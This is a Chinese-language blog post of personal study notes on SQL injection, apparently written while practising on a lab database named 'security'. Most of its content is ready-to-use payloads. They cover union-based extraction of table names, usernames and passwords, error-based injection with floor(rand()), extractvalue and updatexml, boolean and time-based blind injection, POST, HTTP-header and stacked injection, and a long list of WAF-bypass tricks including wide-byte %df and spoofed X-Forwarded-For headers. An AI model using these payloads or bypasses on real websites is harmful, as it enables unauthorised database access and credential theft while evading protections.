sql注入


Sql注入

sql语法

show databases; //查看数据库
use [数据库库名];
show tables; //查看库中有几张表
select * from table1; //查看table1中所有数据

union 联合
//左边右边同时执行
select * from table1 where id = 1 union select 1,2,3;
//如果左边出错,就执行右边
select * from table1 where id = -1 union select 1,2,3;
select * from table1 where id = 'x' union select 1,2,3;
\转义字符:会把后面第一个字符当做字符串
x\' === 字符串x'
注释符 --空格  /**/ #

limit 限制
limit [从哪个开始][输出几个];

==注意!``反引号非常重要!!!以后写数据库语句的时候,最好用反引号,反引号修饰表名,列名==

get型注入步骤

1.推断数据库语法大概是什么

SELECT * FROM [某个表] WHERE id =[参数] limit 0,1;

2.让他报错,显示自己的闭合方式

SELECT * FROM [某个表] WHERE id='2\' limit 0,1;
//闭合方式有' " ') ") 或者没有闭合

3.验证目标的闭合方式

SELECT * FROM [某个表] WHERE id = '2' --+ ' limit 0,1;

如果闭合成功,闭合凡是你所想的

4.确定一下有多少个列

SELECT * FROM [某个表] WHERE id = '2' order by 3--+ limit 0,1;

不报错,所以有3列

5.使用联合查询,因为推断出有3列,所以union select1,2,3前面的参数必须出错,不然后面的1,2,3报错位显示不出来

?id=-2' union select 1,2,3--+

出现报错位,分别为2,3

6.开始刺探内部内容

?id=-2' union select 1,database(),3--+

输出数据库库名为security 还可以输出version(),user()

information_schema是自带的,相当于数据库户口本

information_schema的tables保存着所有数据库库名和表名的对应关系

information_schema的columns保存着库名–表名–列名所有对对应关系

输出表名

?id=-2' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 0,1 --+ 修改limit后面参数
还有一种是用group_concat
id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

7.查询表中的列

id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

8.联合内容

union select 1,group_concat(username),group_concat(password) from users --+

post注入

猜测源码

$u=$_POST['uname'];
$p=$_POST['passwd'];
select username,password from table1 where username=("$u") and password=("$p") limit 0,1;

select username,password from table1 where username=("\") and password=("") limit 0,1;

判断闭合方式

\' and password='' LIMIT 0,1;
select username,password from table1 where username='' or 1=1 limit 1,1# ' and password='$p'limit 0,1;
select username,password from table1 where username='admin' and 1=1#
select username,password from table1 where username='' union select 1,2# ' and password='$p' limit 0,1;
' and extractvalue(1,concat(0x7e,(select database()),0x7e)) #

报错注入

select count(*) from table1; //计算多少条数据
select rand();//生成随机数
select floor(1.2); //向下取整,1.2会出来1
select floor(rand()*2); //生成0/1随机数
select floor(rand()*2)a; //取一个别名
select * from table1 group by id; //以id分组
select concat(1,2,3) //字符拼接
select password,count(*) as num from table1 group by password; //统计不同密码有多少个,统计数据命名为num,顺便对password进行分组
0x3a = :
select concat('haha',0x3a,'nihao');//输出haha:nihao
select concat(0x3a,0x3a,(select database()),0x3a,0x3a);
//输出结果是 ::库名::
select concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a;

select concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns;

select concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a;

mysql官方说: rand函数每次出现都会重新计算一次
select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a;
//group by a是按a排序,a里面只有0,1,并且随机 总有一天出现2个0,2个1,就会报错

实战:

id=1' AND (select 1 from (select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a)b)--+

id=1' AND (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a)b) --+

?id=1' AND (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a)b) --+ //hex不用加任何东西
//简单高效的办法
' AND extractvalue(null,concat(0x7e,(select database()),0x7e))--+

' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

盲注

布尔型

boolean True/False

不显示数据,也不显示数据库

小知识:

select database(); //数据库 库名
select length(database()); //库名的长度
select substr(database(),1,1); //从第一个字开始取1个并转换成ascii
select ascii(substr(database(),1,1))=104;

实战:

?id=1' and (select ascii(substr(database(),1,1))=115)--+
?id=1' and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115) --+

布尔型时间盲注

界面上完全没有反应,但是你觉得可以注入

select sleep(5); //睡5s后输出0
select if((select datadase())="haha",sleep(5),null);//如果数据库名是haha,睡5s
id=2' and if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e',sleep(5),null)--+

实战:

id=2' and sleep(5)--+
id=2' and if((select database())="security",sleep(5),null)--+
id=2' and if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e',sleep(5),null)--+

post盲注

") or 1=1# //判断闭合方式
") or ("1") =("1 //用户名密码都写
select username,password from table1 where username=("") or ("1")=("1") and password=("") or ("1")=("1") limit 0,1;

布尔型盲注最好先猜出他们网站有什么用户名,以一个正确的用户名来当参照

admin") and (select database()='security')#

http头注入

(要在登录状态下)

会记录用户数据到数据库

insert into 'security'.'uagents'('uagent','ip_address','username') values('浏览器信息','172.0.0.1','admin');
referer = 来路信息(从哪个网站过来)
cookie 平行越权
admin" and extractvalue(1,concat(0x7e,(select database()),0x7e)) #

waf

过滤–

select * from users where id ='1' limit  0,1;

屏蔽and or

但凡侦测到,直接替换为空

$url1=urldecode($url)
$url2=replace($url1)
replace('or','')

应对方法:

/*!or*/

(嵌套) aandnd

(替换) & ||

转url编码%26

屏蔽and or 空格 \ –+ # /**/

空格代替品

%09  水平tab键
%0a  新建一行
%0c  新建一页
%0d  return功能
%0b  垂直tab键
%a0  空格
(不用空格)
id=1%27||(updatexml(1,concat(0x7e,(select(group_concat((table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))||1=%27

宽字节注入

mysql用gbk编码,把两个字符当做一个汉字存在,%df吃掉了\,因为urlencode(\‘)=%5c%27,如果前面加上一个%df,%df%5c是一个汉字,%27会独立出来,恢复’功能(用unicode编码就不会出现这个问题)

很重要!

在post情况下的宽字节注入,得直接在burp的post数据包中修改,因为前端提交的时候和直接在数据包中修改,前端的不会变成中文

奇淫巧技

1.大小写绕过

Union SeleCT

2.双写绕过

union selselectect

3.编码绕过

‘scurity’ = 0x73637572697479

4.注释符

uni/**/on sel/**/ect

5.空格绕过

看上面

6.or and绕过

and == &&

or == ||

7.内联函数

/*!select*/ 1,2,3

8.<>绕过

uni<>on

9.屏蔽逗号

select substr(‘security’,1,3)

select substr(‘security’ from 1 for 3)

union select 1,2,3

union select * from (select 1)a join (select 2)b join(select 3)c

limit 0,1 == limit 0 offset 1

10.sleep屏蔽

and sleep(1) == and benchmark(1000000000,1)

11.group_concat屏蔽

select group_concat(‘x’,’y’) == select group_ws(‘’,’x’,’y’)

12.=屏蔽

使用like rlike regexp <>

id=1’ or ‘1’ like ‘1

13.POST屏蔽#

考虑使用– a大部分情况可以当做#用

uname=admin – a&passwd=admin

14.特殊符号过waf

/*!50001 select * from users*/

ps:这里的50001=如果数据库版本是5.00.01以上的版本,这个语句才会被执行

15.ip地址拦截

放在burp的数据包中的

x-forward-for

x-remote-ip

x-originating-ip

x-remote-addr

x-real-ip

16.修改资源

http://www.xx.com/sql.php?id=1

http://www.xx.com/sql.php/1.js?id=1

堆叠注入

?id=1'insert into users(username,pasword)values('zs','123456')-- 

文章作者: Broken-year
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Broken-year !
  目录